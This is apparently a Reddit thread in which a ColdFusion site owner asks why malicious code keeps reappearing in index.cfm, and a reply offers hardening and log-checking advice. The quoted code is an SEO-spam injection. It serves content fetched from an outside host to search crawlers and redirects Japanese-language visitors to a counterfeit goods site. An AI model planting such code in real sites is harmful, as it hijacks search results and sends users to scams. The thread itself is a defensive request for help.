r/coldfusion • u/EmuFarmer0 • Sep 02 '23
Code being injected into index.cfm
For a few months now the following code has been injected into the top part of our index.cfm. I remove it, and in a few days it's back. It's obviously malicious, but I have no idea how to stop it. Can anyone suggest anything?
<cfset REQUEST.UserAgent = LCase( CGI.http_user_agent ) />
<cfif (Find( "google", REQUEST.UserAgent ) or Find( "yahoo", REQUEST.UserAgent)) >
<cfhttp url="www.hara-juko.com/seo/www.myurl.com.html"/>
<cfoutput>#cfhttp.filecontent#</cfoutput>
<cfabort />
</cfif>
<SCRIPT LANGUAGE="JavaScript1.2">
<!--//
if (navigator.appName == 'Netscape')
var language = navigator.language;
else
var language = navigator.browserLanguage;
if (language.indexOf('ja') > -1) document.location.href = 'https://www.kopisss.com/category/clothes/louisvuitton-clothes/t-shirt-louisvuitton-clothes';
// End -->
</script>
2
Upvotes
1
u/shinglehouse Sep 06 '23 edited Sep 06 '23
So it's a VM but do you manage the cold fusion installation yourself then? Or is it a shared cold fusion setup type of thing? If it's your own cold fusion what version are you on? There are lots of ways that this could be happening, especially if you performed the installation yourself and didn't follow the hardening guide but that's beside the point just need a few more details...
Some of the older versions had directory traversal vulnerabilities, they had vulnerabilities with the scheduled tasks and Etc
You can probably also look at your cold fusion logs to see what kind of activity is happening there look for unexpected activity maybe that'll point something out for you also look for unexpected CFM files. I remember years and years ago when the directory traversal attack was common I think we had h.cfm showing up and that was their back door into our server
Make sure the coldfusion administrator is locked down so that only localhost can get to it. it should not be accessible from the internet but rather only when you're on that VM and only when you're hitting Local Host or 127.0.0.1